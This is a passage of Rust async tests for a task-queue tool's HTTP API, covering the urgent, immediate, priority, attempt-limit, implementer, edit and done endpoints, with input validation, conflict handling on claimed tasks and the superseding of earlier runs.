18641                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
18642                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
18643            }
18644        }
18645        task.status = TaskStatus::Queued;
18646        q.put(&mut task).unwrap();
18647        let claim = q.claim(&task.id).unwrap();
18648        let error = queue_urgent(
18649            State(Arc::clone(&ui)),
18650            Path(task.id.clone()),
18651            Ok(Json(UrgentBody { urgent: true })),
18652        )
18653        .await
18654        .unwrap_err();
18655        assert_eq!(error.status, StatusCode::CONFLICT);
18656        assert!(error.message.contains("released"));
18657        drop(claim);
18658        for status in [
18659            TaskStatus::Running,
18660            TaskStatus::Done,
18661            TaskStatus::Failed,
18662            TaskStatus::Blocked,
18663            TaskStatus::Parked,
18664        ] {
18665            task.status = status;
18666            q.put(&mut task).unwrap();
18667            let error = queue_urgent(
18668                State(Arc::clone(&ui)),
18669                Path(task.id.clone()),
18670                Ok(Json(UrgentBody { urgent: false })),
18671            )
18672            .await
18673            .unwrap_err();
18674            assert_eq!(error.status, StatusCode::BAD_REQUEST);
18675            assert!(error.message.contains(status.as_str()));
18676        }
18677    }
18678
18679    #[tokio::test]
18680    async fn urgent_api_updates_preserves_and_validates_tasks() {
18681        let f = Fixture::start().await;
18682        let q = f.queue();
18683        let mut t = Task::new(
18684            "urgent API".into(),
18685            "unchanged".into(),
18686            PathBuf::from("/repo/magi"),
18687            Source::Human,
18688        );
18689        t.attempts = 2;
18690        t.priority = 9;
18691        t.interrupt = true;
18692        t.hold_reason = Some("waiting for approval".into());
18693        for status in [TaskStatus::Queued, TaskStatus::Held] {
18694            t.status = status;
18695            q.put(&mut t).unwrap();
18696            for urgent in [true, true, false, false] {
18697                let response = f
18698                    .post(
18699                        &format!("/api/queue/{}/urgent", t.short()),
18700                        Some(&format!("{{\"urgent\":{urgent}}}")),
18701                    )
18702                    .await;
18703                assert_eq!(response.status, 200, "{}", response.body);
18704                assert_eq!(response.json()["urgent"], urgent);
18705                let saved = q.get(&t.id).unwrap();
18706                let mut before = serde_json::to_value(&t).unwrap();
18707                let mut after = serde_json::to_value(saved).unwrap();
18708                before["urgent"] = urgent.into();
18709                before.as_object_mut().unwrap().remove("updated_at");
18710                after.as_object_mut().unwrap().remove("updated_at");
18711                assert_eq!(after, before);
18712            }
18713        }
18714        let route = format!("/api/queue/{}/urgent", t.id);
18715        for body in [
18716            r#"{}"#,
18717            r#"{"urgent":null}"#,
18718            r#"{"urgent":"true"}"#,
18719            r#"{"urgent":1}"#,
18720            r#"{"urgent":true,"extra":false}"#,
18721            "{",
18722        ] {
18723            assert_eq!(f.post(&route, Some(body)).await.status, 400);
18724        }
18725        t.status = TaskStatus::Queued;
18726        q.put(&mut t).unwrap();
18727        let claim = q.claim(&t.id).unwrap();
18728        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
18729        assert_eq!(response.status, 409, "{}", response.body);
18730        assert!(!q.get(&t.id).unwrap().urgent);
18731        drop(claim);
18732        for status in [
18733            TaskStatus::Running,
18734            TaskStatus::Done,
18735            TaskStatus::Failed,
18736            TaskStatus::Blocked,
18737            TaskStatus::Parked,
18738        ] {
18739            t.status = status;
18740            q.put(&mut t).unwrap();
18741            for urgent in [true, false] {
18742                let response = f
18743                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
18744                    .await;
18745                assert_eq!(response.status, 400, "{}", response.body);
18746                assert!(response.body.contains(status.as_str()));
18747                assert!(response.body.contains("queued or held"));
18748                assert!(!q.get(&t.id).unwrap().urgent);
18749            }
18750        }
18751        assert_eq!(
18752            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
18753                .await
18754                .status,
18755            404
18756        );
18757    }
18758
18759    #[test]
18760    fn immediate_request_requires_a_boolean_and_rejects_unknown_fields() {
18761        for immediate in [true, false] {
18762            let body: ImmediateBody =
18763                serde_json::from_value(serde_json::json!({ "immediate": immediate })).unwrap();
18764            assert_eq!(body.immediate, immediate);
18765        }
18766        for input in [
18767            r#"{}"#,
18768            r#"{"immediate":null}"#,
18769            r#"{"immediate":"true"}"#,
18770            r#"{"immediate":1}"#,
18771            r#"{"immediate":true,"extra":false}"#,
18772        ] {
18773            assert!(
18774                serde_json::from_str::<ImmediateBody>(input).is_err(),
18775                "{input}"
18776            );
18777        }
18778    }
18779
18780    #[tokio::test]
18781    async fn immediate_api_updates_preserves_urgent_returns_admission_and_validates_tasks() {
18782        let f = Fixture::start().await;
18783        let q = f.queue();
18784        let mut t = Task::new(
18785            "immediate API".into(),
18786            "unchanged".into(),
18787            PathBuf::from("/repo/magi"),
18788            Source::Human,
18789        );
18790        t.attempts = 2;
18791        t.priority = 9;
18792        t.interrupt = true;
18793        t.urgent = true;
18794        t.hold_reason = Some("waiting for approval".into());
18795        for status in [TaskStatus::Queued, TaskStatus::Held] {
18796            t.status = status;
18797            q.put(&mut t).unwrap();
18798            for immediate in [true, true, false, false] {
18799                let response = f
18800                    .post(
18801                        &format!("/api/queue/{}/immediate", t.short()),
18802                        Some(&format!("{{\"immediate\":{immediate}}}")),
18803                    )
18804                    .await;
18805                assert_eq!(response.status, 200, "{}", response.body);
18806                let payload = response.json();
18807                assert_eq!(payload["immediate"], immediate);
18808                assert_eq!(payload["urgent"], true);
18809                if immediate {
18810                    assert_eq!(payload["admission"]["mode"], "immediate");
18811                    let label = payload["admission"]["label"].as_str().unwrap_or_default();
18812                    assert!(
18813                        !label.contains("claimed by another process"),
18814                        "mutate must drop its claim before computing admission: {payload}"
18815                    );
18816                    if status == TaskStatus::Held {
18817                        assert_eq!(label, "Immediate: waiting — held (waiting for approval)");
18818                    }
18819                }
18820                let saved = q.get(&t.id).unwrap();
18821                let mut before = serde_json::to_value(&t).unwrap();
18822                let mut after = serde_json::to_value(saved).unwrap();
18823                before["immediate"] = immediate.into();
18824                before.as_object_mut().unwrap().remove("updated_at");
18825                after.as_object_mut().unwrap().remove("updated_at");
18826                assert_eq!(after, before);
18827            }
18828        }
18829        let route = format!("/api/queue/{}/immediate", t.id);
18830        for body in [
18831            r#"{}"#,
18832            r#"{"immediate":null}"#,
18833            r#"{"immediate":"true"}"#,
18834            r#"{"immediate":1}"#,
18835            r#"{"immediate":true,"extra":false}"#,
18836            "{",
18837        ] {
18838            assert_eq!(f.post(&route, Some(body)).await.status, 400);
18839        }
18840        t.status = TaskStatus::Queued;
18841        q.put(&mut t).unwrap();
18842        let claim = q.claim(&t.id).unwrap();
18843        let response = f.post(&route, Some(r#"{"immediate":true}"#)).await;
18844        assert_eq!(response.status, 409, "{}", response.body);
18845        assert!(!q.get(&t.id).unwrap().immediate);
18846        drop(claim);
18847        for status in [
18848            TaskStatus::Running,
18849            TaskStatus::Done,
18850            TaskStatus::Failed,
18851            TaskStatus::Blocked,
18852            TaskStatus::Parked,
18853        ] {
18854            t.status = status;
18855            q.put(&mut t).unwrap();
18856            for immediate in [true, false] {
18857                let response = f
18858                    .post(&route, Some(&format!("{{\"immediate\":{immediate}}}")))
18859                    .await;
18860                assert_eq!(response.status, 400, "{}", response.body);
18861                assert!(response.body.contains(status.as_str()));
18862                assert!(response.body.contains("queued or held"));
18863                assert!(!q.get(&t.id).unwrap().immediate);
18864            }
18865        }
18866        assert_eq!(
18867            f.post(
18868                "/api/queue/missing/immediate",
18869                Some(r#"{"immediate":true}"#)
18870            )
18871            .await
18872            .status,
18873            404
18874        );
18875    }
18876
18877    #[tokio::test]
18878    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
18879        let f = Fixture::start().await;
18880        let queue = f.queue();
18881        let mut older = Task::new(
18882            "filed first".to_owned(),
18883            "x".to_owned(),
18884            PathBuf::from("/repo/magi"),
18885            Source::Human,
18886        );
18887        older.id = "20260101-000001-aaaa".to_owned();
18888        let mut newer = Task::new(
18889            "filed second".to_owned(),
18890            "x".to_owned(),
18891            PathBuf::from("/repo/magi"),
18892            Source::Human,
18893        );
18894        newer.id = "20260101-000002-bbbb".to_owned();
18895        queue.put(&mut older).expect("file older");
18896        queue.put(&mut newer).expect("file newer");
18897
18898        // Equal priority: the newer task leads, the same order the old
18899        // newest-first `list()` already gave every equal-priority queue.
18900        let before = f.get("/api/queue").await.json();
18901        assert_eq!(before[0]["id"], newer.id);
18902        assert_eq!(before[1]["id"], older.id);
18903
18904        // Raising the *older* task is the meaningful case: it can only lead
18905        // now because its priority says so, not because it happens to be
18906        // newest.
18907        let raised = f
18908            .post(
18909                &format!("/api/queue/{}/priority", older.id),
18910                Some(r#"{"priority":10}"#),
18911            )
18912            .await;
18913        assert_eq!(raised.status, 200, "{}", raised.body);
18914        assert_eq!(raised.json()["priority"], 10);
18915
18916        let after = f.get("/api/queue").await.json();
18917        let names: Vec<&str> = after
18918            .as_array()
18919            .unwrap()
18920            .iter()
18921            .map(|t| t["id"].as_str().unwrap())
18922            .collect();
18923        // Highest priority first, which is the order next_runnable and
18924        // `magi task list` both use - GET /api/queue must agree with it
18925        // immediately, not just once the loop claims the task.
18926        assert_eq!(names[0], older.id, "the raised task now sorts first");
18927    }
18928
18929    #[tokio::test]
18930    async fn row_priorities_follow_dispatch_order_and_preserve_upgrade_lane() {
18931        let f = Fixture::start().await;
18932        let queue = f.queue();
18933        let mut tasks = Vec::new();
18934        for id in [
18935            "20260101-000001-aaaa",
18936            "20260101-000002-bbbb",
18937            "20260101-000003-cccc",
18938        ] {
18939            let mut task = Task::new(
18940                id.into(),
18941                "x".into(),
18942                PathBuf::from("/repo/magi"),
18943                Source::Human,
18944            );
18945            task.id = id.into();
18946            queue.put(&mut task).unwrap();
18947            tasks.push(task);
18948        }
18949        assert_eq!(
18950            queue.next_runnable().unwrap().id,
18951            tasks[0].id,
18952            "equal priorities use ascending id"
18953        );
18954        let route = format!("/api/queue/{}/priority", tasks[2].id);
18955        assert_eq!(f.post(&route, Some(r#"{"priority":1}"#)).await.status, 200);
18956        assert_eq!(queue.next_runnable().unwrap().id, tasks[2].id);
18957        tasks[1].start("upgrade-run".into());
18958        tasks[1].park("upgrade");
18959        tasks[1].record_pass_at(
18960            "upgrade-run",
18961            0,
18962            Some("2026-01-01T00:00:00Z".parse().unwrap()),
18963            1,
18964            Some(crate::run::ParkCause::Upgrade {
18965                from: "old".into(),
18966                to: None,
18967            }),
18968        );
18969        queue.put(&mut tasks[1]).unwrap();
18970        let rows = f.get("/api/queue").await.json();
18971        let upgrade = rows
18972            .as_array()
18973            .unwrap()
18974            .iter()
18975            .find(|row| row["id"] == tasks[1].id)
18976            .unwrap();
18977        assert_eq!(upgrade["upgrade_resume_at"], "2026-01-01T00:00:00Z");
18978        assert_eq!(queue.next_runnable().unwrap().id, tasks[1].id);
18979        tasks[2] = queue.get(&tasks[2].id).unwrap();
18980        tasks[2].start("running-run".into());
18981        queue.put(&mut tasks[2]).unwrap();
18982        assert_eq!(f.post(&route, Some(r#"{"priority":2}"#)).await.status, 400);
18983        assert_eq!(queue.get(&tasks[2].id).unwrap().priority, 1);
18984    }
18985
18986    #[tokio::test]
18987    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
18988        let dir = TempDir::new().unwrap();
18989        let q = Queue::at(dir.path().join("queue"));
18990        let ui = Arc::new(Ui::new(
18991            q.clone(),
18992            Questions::at(dir.path().join("questions")),
18993            Talks::at(dir.path().join("talks")),
18994            dir.path().join("runs"),
18995            dir.path().to_path_buf(),
18996            dir.path().to_path_buf(),
18997        ));
18998        let mut t = Task::new(
18999            "budget".into(),
19000            "keep".into(),
19001            dir.path().into(),
19002            Source::Human,
19003        );
19004        t.attempts = 2;
19005        t.runs.push("prior-run".into());
19006        t.hold_manual(Some("waiting".into()));
19007        q.put(&mut t).unwrap();
19008        let change = |value| {
19009            queue_attempt_limit(
19010                State(ui.clone()),
19011                Path(t.id.clone()),
19012                Ok(Json(AttemptLimitBody {
19013                    attempt_limit: value,
19014                })),
19015            )
19016        };
19017        for value in [
19018            serde_json::json!(3),
19019            serde_json::Value::Null,
19020            serde_json::json!(1),
19021        ] {
19022            let response = change(value.clone()).await.unwrap();
19023            assert_eq!(
19024                serde_json::to_value(response.0).unwrap()["attempt_limit"],
19025                value
19026            );
19027            let saved = q.get(&t.id).unwrap();
19028            assert_eq!(
19029                serde_json::to_value(&saved).unwrap()["attempt_limit"],
19030                value
19031            );
19032            assert_eq!(saved.status, TaskStatus::Held);
19033            assert_eq!(saved.attempts, t.attempts);
19034            assert_eq!(saved.runs, t.runs);
19035            assert_eq!(saved.hold_reason, t.hold_reason);
19036            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
19037                .await
19038                .unwrap()
19039                .0;
19040            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
19041            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
19042            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
19043            assert_eq!(outcome.max_attempts, detail.max_attempts);
19044        }
19045        for value in [
19046            serde_json::json!(0),
19047            serde_json::json!(-1),
19048            serde_json::json!(1.5),
19049            serde_json::json!("3"),
19050            serde_json::json!(true),
19051        ] {
19052            assert_eq!(
19053                change(value).await.err().unwrap().status,
19054                StatusCode::BAD_REQUEST
19055            );
19056        }
19057        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
19058        let claim = q.claim(&t.id).unwrap();
19059        assert_eq!(
19060            change(serde_json::json!(4)).await.err().unwrap().status,
19061            StatusCode::CONFLICT
19062        );
19063        drop(claim);
19064        for status in [
19065            TaskStatus::Running,
19066            TaskStatus::Done,
19067            TaskStatus::Failed,
19068            TaskStatus::Blocked,
19069            TaskStatus::Parked,
19070        ] {
19071            let mut stored = q.get(&t.id).unwrap();
19072            stored.status = status;
19073            q.put(&mut stored).unwrap();
19074            assert_eq!(
19075                change(serde_json::json!(4)).await.err().unwrap().status,
19076                StatusCode::BAD_REQUEST
19077            );
19078            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
19079        }
19080        let mut stored = q.get(&t.id).unwrap();
19081        stored.status = TaskStatus::Queued;
19082        q.put(&mut stored).unwrap();
19083        let _ = change(serde_json::Value::Null).await.unwrap();
19084        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
19085    }
19086
19087    #[tokio::test]
19088    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
19089        let dir = TempDir::new().unwrap();
19090        let repo = dir.path().join("repo");
19091        std::fs::create_dir(&repo).unwrap();
19092        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
19093        let q = Queue::at(dir.path().join("queue"));
19094        let ui = Arc::new(Ui::new(
19095            q.clone(),
19096            Questions::at(dir.path().join("questions")),
19097            Talks::at(dir.path().join("talks")),
19098            dir.path().join("runs"),
19099            dir.path().to_path_buf(),
19100            repo.clone(),
19101        ));
19102        let mut t = Task::new(
19103            "seats".into(),
19104            "keep instruction".into(),
19105            repo,
19106            Source::Human,
19107        );
19108        t.runs.push("prior-run".into());
19109        t.hold_manual(Some("waiting".into()));
19110        q.put(&mut t).unwrap();
19111        let change = |count| {
19112            queue_implementers(
19113                State(ui.clone()),
19114                Path(t.id.clone()),
19115                Ok(Json(ImplementersBody {
19116                    implementers: count,
19117                })),
19118            )
19119        };
19120        for count in [2, 1, 2] {
19121            let response = change(count).await.unwrap();
19122            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
19123            let saved = q.get(&t.id).unwrap();
19124            assert_eq!(saved.implementers(), Some(usize::from(count)));
19125            assert_eq!(saved.runs, t.runs);
19126            assert_eq!(saved.instruction, t.instruction);
19127        }
19128        for count in [0, 4] {
19129            assert_eq!(
19130                change(count).await.err().unwrap().status,
19131                StatusCode::BAD_REQUEST
19132            );
19133        }
19134        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
19135        let claim = q.claim(&t.id).unwrap();
19136        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
19137        drop(claim);
19138        for status in [
19139            TaskStatus::Running,
19140            TaskStatus::Done,
19141            TaskStatus::Failed,
19142            TaskStatus::Blocked,
19143            TaskStatus::Parked,
19144        ] {
19145            let mut stored = q.get(&t.id).unwrap();
19146            stored.status = status;
19147            q.put(&mut stored).unwrap();
19148            assert_eq!(
19149                change(1).await.err().unwrap().status,
19150                StatusCode::BAD_REQUEST
19151            );
19152            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
19153        }
19154    }
19155
19156    #[tokio::test]
19157    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
19158        let f = Fixture::start().await;
19159        let queue = f.queue();
19160        let mut task = Task::new(
19161            "in flight".to_owned(),
19162            "x".to_owned(),
19163            PathBuf::from("/repo/magi"),
19164            Source::Human,
19165        );
19166        task.start("20260902-140502-bbbb".to_owned());
19167        queue.put(&mut task).expect("file the task");
19168
19169        let res = f
19170            .post(
19171                &format!("/api/queue/{}/priority", task.id),
19172                Some(r#"{"priority":9}"#),
19173            )
19174            .await;
19175        assert_eq!(res.status, 400, "{}", res.body);
19176        assert!(
19177            res.json()["error"]
19178                .as_str()
19179                .is_some_and(|e| e.contains("running")),
19180            "{}",
19181            res.body
19182        );
19183        assert_eq!(
19184            queue.get(&task.id).expect("reload").priority,
19185            0,
19186            "the refused write must not partially apply"
19187        );
19188    }
19189
19190    #[tokio::test]
19191    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
19192        let f = Fixture::start().await;
19193        let queue = f.queue();
19194        let mut task = Task::new(
19195            "old title".to_owned(),
19196            "old instruction".to_owned(),
19197            PathBuf::from("/repo/magi"),
19198            Source::Agent {
19199                run: "20260101-000000-beef".to_owned(),
19200                node: "implement".to_owned(),
19201            },
19202        );
19203        task.runs.push("20260101-000000-beef".to_owned());
19204        queue.put(&mut task).expect("file the task");
19205        let created_at = task.created_at;
19206
19207        let edited = f
19208            .post(
19209                &format!("/api/queue/{}/edit", task.id),
19210                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
19211            )
19212            .await;
19213        assert_eq!(edited.status, 200, "{}", edited.body);
19214        let body = edited.json();
19215        assert_eq!(body["title"], "new title");
19216        assert_eq!(body["instruction"], "new instruction");
19217        assert_eq!(body["id"], task.id, "editing must not mint a new id");
19218        assert_eq!(body["created_at"], created_at.to_string());
19219        assert_eq!(
19220            body["source"]["kind"], "agent",
19221            "editing a task an agent filed must not turn it human: {body}"
19222        );
19223        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
19224
19225        let reloaded = queue.get(&task.id).expect("reload");
19226        assert_eq!(reloaded.title, "new title");
19227        assert_eq!(reloaded.instruction, "new instruction");
19228    }
19229
19230    #[tokio::test]
19231    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
19232        // The judge is an agent now: a repo whose only agent answers
19233        // "duplicate" stands in for it, so the refusal is the judge's.
19234        let tmp = TempDir::new().expect("tempdir");
19235        let repo = tmp.path().join("repo");
19236        std::fs::create_dir_all(&repo).expect("repo dir");
19237        let judge = MOCK_AGENT_TOML.replace(
19238            "printf ok",
19239            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
19240        );
19241        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
19242        let f = Fixture::with_repo(repo.clone()).await;
19243        let queue = f.queue();
19244        let mut owner = Task::new(
19245            "owner".to_owned(),
19246            "review it".to_owned(),
19247            repo.clone(),
19248            Source::Human,
19249        );
19250        owner.review_branch = Some("magi/ab12/A".to_owned());
19251        queue.put(&mut owner).expect("file the owner");
19252        let mut task = Task::new(
19253            "draft".to_owned(),
19254            "old".to_owned(),
19255            repo.clone(),
19256            Source::Human,
19257        );
19258        queue.put(&mut task).expect("file the draft");
19259        let url = format!("/api/queue/{}/edit", task.id);
19260
19261        let refused = f
19262            .post(
19263                &url,
19264                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
19265            )
19266            .await;
19267        assert_eq!(refused.status, 409, "{}", refused.body);
19268        let msg = refused.json()["error"]
19269            .as_str()
19270            .unwrap_or_default()
19271            .to_owned();
19272        assert!(
19273            msg.contains("magi/ab12/A") && msg.contains("force"),
19274            "{msg}"
19275        );
19276        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
19277
19278        let forced = f
19279            .post(
19280                &url,
19281                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
19282            )
19283            .await;
19284        assert_eq!(forced.status, 200, "{}", forced.body);
19285    }
19286
19287    #[tokio::test]
19288    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
19289        let f = Fixture::start().await;
19290        let queue = f.queue();
19291        let mut task = Task::new(
19292            "in flight".to_owned(),
19293            "do not touch".to_owned(),
19294            PathBuf::from("/repo/magi"),
19295            Source::Human,
19296        );
19297        task.start("20260902-140502-bbbb".to_owned());
19298        queue.put(&mut task).expect("file the task");
19299
19300        let res = f
19301            .post(
19302                &format!("/api/queue/{}/edit", task.id),
19303                Some(r#"{"title":"x","instruction":"y"}"#),
19304            )
19305            .await;
19306        assert_eq!(res.status, 400, "{}", res.body);
19307        assert!(
19308            res.json()["error"]
19309                .as_str()
19310                .is_some_and(|e| e.contains("running")),
19311            "{}",
19312            res.body
19313        );
19314        assert_eq!(
19315            queue.get(&task.id).expect("reload").instruction,
19316            "do not touch",
19317            "the refused edit must not change the file"
19318        );
19319    }
19320
19321    #[tokio::test]
19322    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
19323        let f = Fixture::start().await;
19324        let queue = f.queue();
19325        let mut task = Task::new(
19326            "busy".to_owned(),
19327            "Running right now".to_owned(),
19328            PathBuf::from("/repo/magi"),
19329            Source::Human,
19330        );
19331        queue.put(&mut task).expect("file the task");
19332        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
19333
19334        let priority = f
19335            .post(
19336                &format!("/api/queue/{}/priority", task.id),
19337                Some(r#"{"priority":9}"#),
19338            )
19339            .await;
19340        assert_eq!(priority.status, 409, "{}", priority.body);
19341
19342        let edit = f
19343            .post(
19344                &format!("/api/queue/{}/edit", task.id),
19345                Some(r#"{"title":"x","instruction":"y"}"#),
19346            )
19347            .await;
19348        assert_eq!(edit.status, 409, "{}", edit.body);
19349    }
19350
19351    #[tokio::test]
19352    async fn web_completion_distinguishes_missing_and_claimed_tasks() {
19353        let f = Fixture::start().await;
19354        let queue = f.queue();
19355        let mut task = Task::new(
19356            "claimed".into(),
19357            "leave unchanged".into(),
19358            f.home.path().into(),
19359            Source::Human,
19360        );
19361        queue.put(&mut task).unwrap();
19362        let _claim = queue.claim(&task.id).unwrap();
19363        for (action, body) in [("done", None), ("reopen", Some(r#"{"reason":"inspect"}"#))] {
19364            let missing = f.post(&format!("/api/queue/missing/{action}"), body).await;
19365            assert_eq!(missing.status, 404, "{}", missing.body);
19366            assert!(missing.json()["error"].as_str().unwrap().contains("task"));
19367
19368            let busy = f
19369                .post(&format!("/api/queue/{}/{action}", task.short()), body)
19370                .await;
19371            assert_eq!(busy.status, 409, "{}", busy.body);
19372            assert!(busy.json()["error"].as_str().unwrap().contains("claimed"));
19373        }
19374        let unchanged = queue.get(&task.id).unwrap();
19375        assert_eq!(unchanged.status, TaskStatus::Queued);
19376        assert!(unchanged.completion_history.is_empty());
19377    }
19378
19379    #[test]
19380    fn web_completion_reports_a_stale_commit_as_a_conflict() {
19381        let home = TempDir::new().unwrap();
19382        let queue = Queue::at(home.path().join("queue"));
19383        let mut current = Task::new(
19384            "stale".into(),
19385            "original".into(),
19386            home.path().into(),
19387            Source::Human,
19388        );
19389        queue.put(&mut current).unwrap();
19390        let expected = current.clone();
19391        current.instruction = "updated".into();
19392        queue.put(&mut current).unwrap();
19393
19394        let mut decision = expected.clone();
19395        decision.status = TaskStatus::Done;
19396        let error = queue
19397            .commit_completion(&mut decision, &expected)
19398            .unwrap_err();
19399        assert_eq!(ApiError::completion(error).status, StatusCode::CONFLICT);
19400        let saved = queue.get(&current.id).unwrap();
19401        assert_eq!(saved.status, TaskStatus::Queued);
19402        assert_eq!(saved.instruction, "updated");
19403    }
19404
19405    #[tokio::test]
19406    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
19407        let f = Fixture::start().await;
19408        let queue = f.queue();
19409        let mut task = Task::new(
19410            "shipped by hand".to_owned(),
19411            "merged outside the loop".to_owned(),
19412            PathBuf::from("/repo/magi"),
19413            Source::Agent {
19414                run: "20260101-000000-b455".to_owned(),
19415                node: "implement".to_owned(),
19416            },
19417        );
19418        task.runs.push("20260101-000000-b455".to_owned());
19419        task.runs.push("20260101-000000-9af4".to_owned());
19420        queue.put(&mut task).expect("file the task");
19421        let created_at = task.created_at;
19422
19423        let done = f
19424            .post(
19425                &format!("/api/queue/{}/done", task.id),
19426                Some(r#"{"discard":true,"reason":"owner cancelled retained work"}"#),
19427            )
19428            .await;
19429        assert_eq!(done.status, 200, "{}", done.body);
19430        assert_eq!(done.json()["status_str"], "done");
19431
19432        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
19433        assert_eq!(
19434            reloaded.runs,
19435            ["20260101-000000-b455", "20260101-000000-9af4"]
19436        );
19437        assert_eq!(
19438            reloaded.source,
19439            Source::Agent {
19440                run: "20260101-000000-b455".to_owned(),
19441                node: "implement".to_owned(),
19442            }
19443        );
19444        assert_eq!(reloaded.created_at, created_at);
19445        let event = reloaded
19446            .completion_history
19447            .last()
19448            .expect("completion audit");
19449        assert_eq!(event.actor, crate::queue::CompletionActor::Web);
19450        assert!(event.discard);
19451        assert_eq!(
19452            event.reason.as_deref(),
19453            Some("owner cancelled retained work")
19454        );
19455        let detail = f.get(&format!("/api/queue/{}", task.id)).await;
19456        assert_eq!(
19457            detail.json()["completion_history"][0]["occurrence"],
19458            event.occurrence
19459        );
19460    }
19461
19462    #[tokio::test]
19463    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
19464        // Explicit discard may close held work without a release; the current
19465        // hold clears while the completion audit preserves its prior status.
19466        let f = Fixture::start().await;
19467        let queue = f.queue();
19468        let mut task = Task::new(
19469            "landed while held".to_owned(),
19470            "x".to_owned(),
19471            PathBuf::from("/repo/magi"),
19472            Source::Human,
19473        );
19474        task.hold_manual(Some("waiting on 3ed9".to_owned()));
19475        queue.put(&mut task).expect("file the held task");
19476
19477        let done = f
19478            .post(
19479                &format!("/api/queue/{}/done", task.id),
19480                Some(r#"{"discard":true,"reason":"no longer needed"}"#),
19481            )
19482            .await;
19483        assert_eq!(done.status, 200, "{}", done.body);
19484        assert_eq!(done.json()["status_str"], "done");
19485        assert!(
19486            done.json()["hold_reason"].is_null(),
19487            "a done task cannot still be waiting on something: {}",
19488            done.body
19489        );
19490    }
19491
19492    #[tokio::test]
19493    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
19494        // `queue_done` is the phone's way to close a task the loop never
19495        // settled itself - after confirming a manual GitHub merge, say - and
19496        // that is just as much "this task's story is over" as the loop's own
19497        // `Merged` path, so it must trigger the same cleanup.
19498        let f = Fixture::start().await;
19499        let queue = f.queue();
19500        let runs = f.runs();
19501        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
19502        // The last attempt has to have actually landed for the earlier one
19503        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
19504        // for the case where it didn't.
19505        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
19506
19507        let mut task = Task::new(
19508            "landed by hand".to_owned(),
19509            "x".to_owned(),
19510            PathBuf::from("/repo/magi"),
19511            Source::Human,
19512        );
19513        task.runs.push("20260101-000000-doa1".to_owned());
19514        task.runs.push("20260101-000000-doa2".to_owned());
19515        let mut landed = read_run(&runs, "20260101-000000-doa2").unwrap();
19516        landed.task_instruction = Some(task.instruction.clone());
19517        landed.task_instruction_rev = Some(task.instruction_rev);
19518        landed.merge = Some(crate::run::MergeOutcome {
19519            mode: crate::config::MergeMode::Pr,
19520            ok: true,
19521            detail: "confirmed merge".into(),
19522            empty: false,
19523        });
19524        write_state(&runs, &landed);
19525        queue.put(&mut task).expect("file the task");
19526
19527        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
19528        assert_eq!(done.status, 200, "{}", done.body);
19529
19530        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
19531            .expect("run still on disk under this fixture's own home");
19532        assert_eq!(
19533            reloaded_run.status,
19534            RunStatus::Superseded,
19535            "closing the task by hand must relabel the earlier blocked attempt exactly \
19536             like the loop's own settle path does"
19537        );
19538    }
19539
19540    #[tokio::test]
19541    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
19542        // Intentional discard preserves unsuccessful runs as unsuccessful:
19543        // closing the task does not claim they were delivered or superseded.
19544        let f = Fixture::start().await;
19545        let queue = f.queue();
19546        let runs = f.runs();
19547        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
19548        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
19549
19550        let mut task = Task::new(
19551            "closed with nothing actually landed".to_owned(),
19552            "x".to_owned(),
19553            PathBuf::from("/repo/magi"),
19554            Source::Human,
19555        );
19556        task.runs.push("20260101-000000-dob1".to_owned());
19557        task.runs.push("20260101-000000-dob2".to_owned());
19558        queue.put(&mut task).expect("file the task");
19559
19560        let done = f
19561            .post(
19562                &format!("/api/queue/{}/done", task.id),
19563                Some(r#"{"discard":true,"reason":"stop this work"}"#),
19564            )
19565            .await;
19566        assert_eq!(done.status, 200, "{}", done.body);
19567
19568        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
19569            .expect("run still on disk under this fixture's own home");
19570        assert_eq!(
19571            reloaded_run.status,
19572            RunStatus::Blocked,
19573            "the last recorded attempt never landed, so the earlier one must not be \
19574             relabelled as superseded by it"
19575        );
19576    }
19577
